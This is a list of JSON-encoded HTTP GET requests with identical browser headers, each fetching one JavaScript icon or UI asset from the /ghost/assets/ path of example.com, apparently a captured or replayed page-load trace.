{"method": "GET", "target": "/ghost/assets/image-DJkRwGFl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/plug-BeLrBarN.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/inbox-COmMmFZS.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/smartphone-j5_wyhqO.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/layers-7kDTLSGw.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/link-CZvXk_iN.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/list-filter-Bt2MgNgY.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/map-pin-DPhi-Z-z.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/loader-circle-DR6LgQk9.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/lock-CJUB02yf.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/log-out-ClF6eb3N.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/mouse-pointer-click-IX513WkU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/user-pen-DhntSZKe.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/mail-warning-BcU9ft9M.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/mail-x-CHliXg1j.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/mail-PBEdl0JE.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/megaphone-CACSVFEk.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/menu-DwekVO1I.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/message-circle-off-DoxKUv2y.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/message-circle-Dkb2Sjq_.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/message-square-off-Rea4Wik2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/message-square-DRPo5CWb.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/minus-9ieoP52m.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/panel-left-Dum5PjJB.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/pen-line-D0oKPczj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/pen-i7U0QAik.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/pencil-DZetlUon.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/pipette-B0ss10AX.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/plus-B4c_-nfT.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/rectangle-vertical-_u1GWlCm.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/settings-2-C4mzAnNo.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/repeat-2-D9d_VFn2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/repeat-nLPwqdMF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/reply-BH3O9H3I.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/search-Bl7qfg4J.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/search-x-DYxBa1EF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/send-BTCZEaT4.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/text-align-center-DVac9_Hi.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/share-ZZz95KTn.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/sprout-CVztvAnl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/square-B-5NhIsj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/squircle-B733mDoc.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/star-Bpul5S_D.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/sticky-note-DU9c-Ra1.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/store-B_Ejpv31.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/table-of-contents-sPKkwCn4.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/tag-C6OB2BXE.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/tags-ConC9hg-.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/text-align-start-CnvG6LkS.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/thumbs-down-x3lSinKl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/thumbs-up-B1AHlahq.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/trash-2-yhtPWCHA.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/trash-CuY-N3o6.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/trending-down-DF5-DLrU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/trending-up-ZeqNsItu.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/triangle-alert-C2nVQPSI.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/type-DMVGYbHH.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/undo-2-FoBfGQWM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/unlink-U-Rg6HnP.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/upload-C-uMUf3q.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/user-plus-Da4UvDKo.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/user-round-check-fQqHvyjW.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/user-round-x-DC7feApp.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/user-round-Tvyl-lTH.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/user-BPjbwN-J.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/users-B8l6egb_.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/wallet-cards-DjKzv_P3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/webhook-BDtpHv94.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/x-D9mfak9O.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/zap-HzBi1coK.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/icons-ClwlmWSu.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/dist-ChMehFmm.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/alert-dialog-fhP2wZq3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/avatar-BMfooKMK.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/badge-DMeVfVsR.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/banner-E48MJePb.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/dialog-Dgn8NUEz.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/overlay-escape-Zs8Fgpfg.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
